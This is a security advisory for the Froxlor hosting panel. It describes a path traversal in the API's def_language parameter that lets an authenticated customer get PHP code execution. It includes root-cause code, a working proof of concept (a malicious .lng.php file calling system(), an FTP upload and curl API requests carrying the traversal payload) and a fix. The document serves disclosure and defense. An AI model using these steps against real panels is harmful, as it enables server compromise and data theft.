Severity: Critical
CVSS Score: 10
## Summary The Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user. ## Details **Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter. The **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files: ```php // customer_index.php:260-265 $def_language = Validate::validate(Request::post('def_language'), 'default language'); if (isset($languages[$def_language])) { Customers::getLocal($userinfo, [ 'id' => $userinfo['customerid'], 'def_language' => $def_language ])->update(); ``` The **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\r\n\t\f\0]*$/D`, which permits path traversal sequences: ```php // Customers.php:1167-1172 (customer branch) } else { // allowed parameters $def_language = $this->getParam('def_language', true, $result['def_language']); ... } // Customers.php:1207 - validation (shared by admin and customer paths) $def_language = Validate::validate($def_language, 'default language', '', '', [], true); ``` The tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths: **API path** (`ApiCommand.php:218-222`): ```php private function initLang() { Language::setLanguage(Settings::Get('panel.standardlanguage')); if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) { Language::setLanguage($this->getUserDetail('language')); } elseif ($this->getUserDetail('def_language') !== null) { Language::setLanguage($this->getUserDetail('def_language')); // No validation } } ``` **Web path** (`init.php:180-185`): ```php if (CurrentUser::hasSession()) { if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) { Language::setLanguage(CurrentUser::getField('language')); } else { Language::setLanguage(CurrentUser::getField('def_language')); // No validation } } ``` The `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`. **File inclusion** (`Language.php:89-98`): ```php private static function loadLanguage($iso): array { $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso); if (!file_exists($languageFile)) { return []; } $lng = require $languageFile; // Arbitrary PHP execution ``` With `$iso = '../../../../../var/customers/webs/customer1/evil'`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory. ## PoC **Step 1 — Upload malicious language file via FTP:** Froxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema). ```bash # Create malicious .lng.php file echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php # Upload to customer web directory via FTP ftp panel.example.com > put evil.lng.php ``` The file is now at `/var/customers/webs/<loginname>/evil.lng.php`. **Step 2 — Set traversal payload via API:** ```bash curl -s -X POST https://panel.example.com/api \ -H 'Authorization: Basic <base64(apikey:apisecret)>' \ -d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}' ``` The traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`. **Step 3 — Trigger inclusion on next API call:** ```bash curl -s -X POST https://panel.example.com/api \ -H 'Authorization: Basic <base64(apikey:apisecret)>' \ -d '{"command":"Customers.get"}' ``` `ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` → `loadLanguage()` → `require /var/customers/webs/customer1/evil.lng.php`. **Step 4 — Verify execution:** ```bash cat /tmp/pwned # Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Impact An authenticated customer can execute arbitrary PHP code as the web server user. This enables: - **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration. - **Lateral movement:** Access other customers' databases, email, and files from the shared hosting environment. - **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access. - **Data exfiltration:** Read all hosted databases and email content across the panel. The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory. ## Recommended Fix Validate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior: ```php // In Customers.php, replace line 1207: // $def_language = Validate::validate($def_language, 'default language', '', '', [], true); // With: $def_language = Validate::validate($def_language, 'default language', '', '', [], true); if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) { $def_language = Settings::Get('panel.standardlanguage'); } ``` Apply the same fix in `Admins.php` at line 600. Additionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal: ```php private static function loadLanguage($iso): array { // Reject path traversal attempts if ($iso !== basename($iso) || str_contains($iso, '..')) { return []; } $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso); // ... } ```